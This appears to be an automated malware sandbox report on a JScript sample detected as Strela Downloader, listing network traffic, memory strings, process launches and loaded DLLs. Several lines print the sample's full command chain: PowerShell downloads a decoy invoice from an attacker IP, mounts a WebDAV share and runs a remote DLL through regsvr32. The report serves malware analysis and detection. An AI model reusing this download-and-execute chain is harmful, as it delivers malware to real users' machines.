Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49711

Source: global traffic

TCP traffic: 192.168.2.6:49711 -> 193.143.1.205:8888

Source: Joe Sandbox View

IP Address: 193.143.1.205 193.143.1.205

Source: Joe Sandbox View

ASN Name: BITWEB-ASRU BITWEB-ASRU

Source: Network traffic

Suricata IDS: 1810000 - Severity 2 - Joe Security ANOMALY Windows PowerShell HTTP activity : 192.168.2.6:49709 -> 193.143.1.205:80

Source: global traffic

HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205

Source: global traffic

HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: global traffic

DNS traffic detected: DNS query: x1.i.lencr.org

Source: wscript.exe, 00000000.00000002.2128724213.0000018127222000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2127728562.0000018128FEE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205/invoice.php
Source: net.exe, 00000007.00000003.2179192768.00000143CDBCB000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2182562937.00000143CDBAB000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000003.2179253606.00000143CDBAB000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2182489273.00000143CDB78000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2182562937.00000143CDBCD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/
Source: net.exe, 00000007.00000002.2182562937.00000143CDBAB000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000003.2179253606.00000143CDBAB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/$
Source: net.exe, 00000007.00000002.2182562937.00000143CDBAB000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000003.2179253606.00000143CDBAB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/8
Source: net.exe, 00000007.00000002.2182489273.00000143CDB78000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/space81
Source: svchost.exe, 00000009.00000002.3413013383.0000022895C00000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.ver)
Source: 77EC63BDA74BD0D0E0426DC8F80085060.8.dr	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/chromewebstore/L2Nocm9tZV9leHRlbnNpb24vYmxvYnMvYjFkQUFWdmlaXy12MHFU
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome/acocfkfsx7alydpzevdxln7drwdq_117.0.5938.134/117.0.5
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaa5khuklrahrby256zitbxd5wq_1.0.2512.1/n
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaxuysrwzdnwqutaimsxybnjbrq_2023.9.25.0/
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adhioj45hzjkfunn7ccrbqyyhu3q_20230916.567
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adqyi2uk2bd7epzsrzisajjiqe_9.48.0/gcmjkmg
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/dix4vjifjljmfobl3a7lhcpvw4_414/lmelglejhe
Source: qmgr.db.9.dr	String found in binary or memory: http://f.c2r.ts.cdn.office.net/pr/492350f6-3a01-4f97-b9c0-c7c6ddf67d60/Office/Data/v32_16.0.16827.20
Source: 2D85F72862B55C4EADD9E66E06947F3D0.8.dr	String found in binary or memory: http://x1.i.lencr.org/
Source: qmgr.db.9.dr	String found in binary or memory: https://g.live.com/odclientsettings/Prod1C:
Source: svchost.exe, 00000009.00000003.2180037438.0000022895B60000.00000004.00000800.00020000.00000000.sdmp, edb.log.9.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV21C:

Spam, unwanted Advertisements and Ransom Demands

Yara detected Strela Downloader

Source: Yara match

File source: Process Memory Space: wscript.exe PID: 2960, type: MEMORYSTR

System Summary

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Source: C:\Windows\System32\wscript.exe

COM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}

Jump to behavior

Wscript starts Powershell (via cmd or directly)

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\2412849879429.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\2412849879429.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File created: C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Jump to behavior

Source: 2445839083247016653.js

Initial sample: Strings found which are bigger than 50

Source: classification engine

Classification label: mal100.rans.troj.spyw.expl.evad.winJS@27/57@1/2

Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe

File created: C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AdobeFnt23.lst.6944

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:1096:120:WilError_03

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_dsmcpazj.x15.ps1

Jump to behavior

Source: C:\Windows\System32\wscript.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: unknown	Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2445839083247016653.js"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\2412849879429.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2124 --field-trial-handle=1644,i,8371664929823362149,8041014121270518738,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\2412849879429.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2124 --field-trial-handle=1644,i,8371664929823362149,8041014121270518738,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: jscript.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrobj.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: drprov.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ntlanman.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davclnt.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davhlpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: qmgr.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsperf.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: firewallapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: esent.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: flightsettings.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netprofm.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: npmproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsigd.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: upnp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
